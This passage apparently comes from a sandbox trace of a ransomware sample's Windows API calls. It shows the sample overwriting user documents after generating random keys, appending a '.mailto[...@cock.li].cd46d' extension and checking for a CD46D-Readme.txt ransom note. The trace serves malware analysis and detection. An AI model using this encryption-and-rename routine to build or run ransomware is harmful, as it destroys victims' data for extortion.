Seed=0x15c7f8f4) returned 0x4630d8c5 [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x4dc4324e [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x773563a5 [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x6f44a7aa [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x75aa94f5 [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0xf22600d [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x69ee35b2 [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x1238 [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x79bf4d9f [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x6df31ed9 [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x60360579 [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0xa22193c [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x1d9a7b2b [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x2798544c [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x8b85900 [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x50b4722d [0053.107] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x2e875bdf [0053.108] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x7e1da321 [0053.108] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x246085bc [0053.108] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x56f8cc98 [0053.108] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x587cae80 [0053.108] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x5c3cf735 [0053.108] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x555d56fa [0053.108] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x473bbab7 [0053.108] RtlRandomEx (in: Seed=0x15c7f8f4 | out: Seed=0x15c7f8f4) returned 0x6265a944 [0053.120] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.120] ReadFile (in: hFile=0xea8, lpBuffer=0x197caa30, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x15c7f8c8, lpOverlapped=0x0 | out: lpBuffer=0x197caa30*, lpNumberOfBytesRead=0x15c7f8c8*=0xc800, lpOverlapped=0x0) returned 1 [0053.121] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.121] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c3a8 [0053.121] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437b98 [0053.121] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0053.121] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429340) returned 1 [0053.122] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x197d7238 [0053.126] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0053.126] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4293e0 [0053.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4293e0) returned 1 [0053.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0053.126] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c3a8) returned 1 [0053.126] WriteFile (in: hFile=0xea8, lpBuffer=0x197d7238*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x15c7f8c8, lpOverlapped=0x0 | out: lpBuffer=0x197d7238*, lpNumberOfBytesWritten=0x15c7f8c8*=0xc800, lpOverlapped=0x0) returned 1 [0053.495] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197d7238) returned 1 [0053.495] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197caa30) returned 1 [0053.495] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2d) returned 0x12d05170 [0053.495] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.495] WriteFile (in: hFile=0xea8, lpBuffer=0x196d0aa8*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x15c7f948, lpOverlapped=0x0 | out: lpBuffer=0x196d0aa8*, lpNumberOfBytesWritten=0x15c7f948*=0x111, lpOverlapped=0x0) returned 1 [0053.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0aa8) returned 1 [0053.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d051a8) returned 1 [0053.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf668) returned 1 [0053.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05170) returned 1 [0053.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429340) returned 1 [0053.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4293b8) returned 1 [0053.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429408) returned 1 [0053.624] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429430) returned 1 [0053.624] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d910 [0053.624] wcscpy (in: _Dest=0x12f4d910, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XOtwIUWuu0s.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XOtwIUWuu0s.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XOtwIUWuu0s.pptx" [0053.624] wcscat (in: _Dest=0x12f4d910, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XOtwIUWuu0s.pptx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XOtwIUWuu0s.pptx.mailto[2Hamlampampom@cock.li].cd46d" [0053.624] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XOtwIUWuu0s.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x15c7f900, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XOtwIUWuu0s.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.624] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40df58 [0053.820] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40df58) returned 1 [0053.820] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a2d80) returned 1 [0053.820] NtQueryInformationFile (in: FileHandle=0xea8, IoStatusBlock=0x15c7f90c, FileInformation=0x15c7f8e4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x15c7f90c, FileInformation=0x15c7f8e4) returned 0x0 [0053.820] NtSetInformationFile (FileHandle=0xea8, IoStatusBlock=0x15c7f90c, FileInformation=0x15c7f8e4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.821] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d910) returned 1 [0053.821] FlushFileBuffers (hFile=0xea8) returned 1 [0053.830] CloseHandle (hObject=0xea8) returned 1 [0053.831] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08e98 [0053.831] wcscpy (in: _Dest=0x12e08e98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.831] wcscat (in: _Dest=0x12e08e98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.831] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.831] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08e98) returned 1 [0053.831] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08418) returned 1 Thread: id = 861 os_tid = 0x1150 [0051.752] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xpxDNHO2UPjQQaq.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xpxdnho2upjqqaq.odt")) returned 0x20 [0051.752] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xpxDNHO2UPjQQaq.odt", dwFileAttributes=0x20) returned 1 [0053.126] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xpxDNHO2UPjQQaq.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xpxdnho2upjqqaq.odt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeac [0053.126] GetFileSizeEx (in: hFile=0xeac, lpFileSize=0x15d0fdd0 | out: lpFileSize=0x15d0fdd0*=64522) returned 1 [0053.127] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0xfc06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.127] ReadFile (in: hFile=0xeac, lpBuffer=0x15d0fd54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x15d0fd50, lpOverlapped=0x0 | out: lpBuffer=0x15d0fd54*, lpNumberOfBytesRead=0x15d0fd50*=0x4, lpOverlapped=0x0) returned 1 [0053.127] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4293e0 [0053.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429458 [0053.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429480 [0053.127] NtQuerySystemTime (in: CurrentTime=0x15d0fd30 | out: CurrentTime=0x15d0fd30*=132174898171104000) returned 0x0 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x27819496 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x4b201bb6 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x69af43ed [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x7e60ac4b [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x2fbb8acd [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x6635357 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x3e90db22 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x5327f405 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x76d970fc [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x374a1266 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x9f90b70 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x3152fa64 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x331ff839 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x49190eb2 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x3c339d34 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x80f8226 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x9966e6b [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x3de65012 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x2f702d0f [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x3b69dfd [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x5776aec [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x26a90bef [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x333757ea [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0xea047c0 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x8aa3f05 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0xc88607d [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x1c774d9f [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x2a1cd4af [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x694164c [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x950a812 [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x277dd42a [0053.128] RtlRandomEx (in: Seed=0x15d0fd3c | out: Seed=0x15d0fd3c) returned 0x7f6fe223 [0053.141] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.141] ReadFile (in: hFile=0xeac, lpBuffer=0x197e3a40, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x15d0fd10, lpOverlapped=0x0 | out: lpBuffer=0x197e3a40*, lpNumberOfBytesRead=0x15d0fd10*=0xc800, lpOverlapped=0x0) returned 1 [0053.141] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.141] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c3a8 [0053.141] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437b98 [0053.141] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4293e0 [0053.141] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4293e0) returned 1 [0053.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x197f0248 [0053.146] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4293e0 [0053.146] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429480 [0053.146] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429480) returned 1 [0053.146] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0053.146] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c3a8) returned 1 [0053.146] WriteFile (in: hFile=0xeac, lpBuffer=0x197f0248*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x15d0fd10, lpOverlapped=0x0 | out: lpBuffer=0x197f0248*, lpNumberOfBytesWritten=0x15d0fd10*=0xc800, lpOverlapped=0x0) returned 1 [0053.497] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197f0248) returned 1 [0053.497] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197e3a40) returned 1 [0053.502] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x33) returned 0x5efe270 [0053.502] SetFilePointerEx (in: hFile=0xeac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.502] WriteFile (in: hFile=0xeac, lpBuffer=0x196d0bc8*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x15d0fd90, lpOverlapped=0x0 | out: lpBuffer=0x196d0bc8*, lpNumberOfBytesWritten=0x15d0fd90*=0x117, lpOverlapped=0x0) returned 1 [0053.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0bc8) returned 1 [0053.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe2b0) returned 1 [0053.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf690) returned 1 [0053.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe270) returned 1 [0053.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4293e0) returned 1 [0053.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429458) returned 1 [0053.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4294a8) returned 1 [0053.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4294d0) returned 1 [0053.625] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d9d8 [0053.625] wcscpy (in: _Dest=0x12f4d9d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xpxDNHO2UPjQQaq.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xpxDNHO2UPjQQaq.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xpxDNHO2UPjQQaq.odt" [0053.625] wcscat (in: _Dest=0x12f4d9d8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xpxDNHO2UPjQQaq.odt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xpxDNHO2UPjQQaq.odt.mailto[2Hamlampampom@cock.li].cd46d" [0053.625] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xpxDNHO2UPjQQaq.odt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x15d0fd48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xpxDNHO2UPjQQaq.odt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.625] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d4000 [0053.822] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4000) returned 1 [0053.822] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a2fa8) returned 1 [0053.822] NtQueryInformationFile (in: FileHandle=0xeac, IoStatusBlock=0x15d0fd54, FileInformation=0x15d0fd2c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x15d0fd54, FileInformation=0x15d0fd2c) returned 0x0 [0053.822] NtSetInformationFile (FileHandle=0xeac, IoStatusBlock=0x15d0fd54, FileInformation=0x15d0fd2c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.823] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d9d8) returned 1 [0053.823] FlushFileBuffers (hFile=0xeac) returned 1 [0053.831] CloseHandle (hObject=0xeac) returned 1 [0053.832] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08418 [0053.832] wcscpy (in: _Dest=0x12e08418, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.832] wcscat (in: _Dest=0x12e08418, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.832] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.832] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08418) returned 1 [0053.832] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08498) returned 1 Thread: id = 862 os_tid = 0x1154 [0051.759] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XqhbQGBBxuz2zQT.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xqhbqgbbxuz2zqt.odp")) returned 0x20 [0051.760] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XqhbQGBBxuz2zQT.odp", dwFileAttributes=0x20) returned 1 [0053.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XqhbQGBBxuz2zQT.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xqhbqgbbxuz2zqt.odp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb0 [0053.147] GetFileSizeEx (in: hFile=0xeb0, lpFileSize=0x15c3fcd0 | out: lpFileSize=0x15c3fcd0*=53173) returned 1 [0053.147] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0xcfb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.147] ReadFile (in: hFile=0xeb0, lpBuffer=0x15c3fc54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x15c3fc50, lpOverlapped=0x0 | out: lpBuffer=0x15c3fc54*, lpNumberOfBytesRead=0x15c3fc50*=0x4, lpOverlapped=0x0) returned 1 [0053.148] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.148] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429480 [0053.148] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4294f8 [0053.148] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429520 [0053.148] NtQuerySystemTime (in: CurrentTime=0x15c3fc30 | out: CurrentTime=0x15c3fc30*=132174898171260000) returned 0x0 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x203d7a6 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x13d8fd4c [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x2bff8e59 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x55a77924 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x577d5b60 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x4e7326c5 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x7a021f4f [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x44e7d472 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x1abe3069 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x54bd7077 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x14a31712 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x5f5ff5e0 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x42effe72 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x6b2356b9 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x42beae92 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x5fb244f3 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x82a64b5 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0xdc63fde [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x36d06882 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x5bbad617 [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0xe1c3b1e [0053.148] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x1ea0985e [0053.149] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x1e3efe19 [0053.149] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x64e711bd [0053.149] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x68479d56 [0053.149] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x1090c1e0 [0053.149] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x7be745de [0053.149] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x67c08bba [0053.149] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x19d09757 [0053.149] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x4aa7ddab [0053.149] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x38e38d32 [0053.149] RtlRandomEx (in: Seed=0x15c3fc3c | out: Seed=0x15c3fc3c) returned 0x63872f57 [0053.161] SetFilePointerEx (in: hFile=0xeb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.161] ReadFile (in: hFile=0xeb0, lpBuffer=0x197fca50, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x15c3fc10, lpOverlapped=0x0 | out: 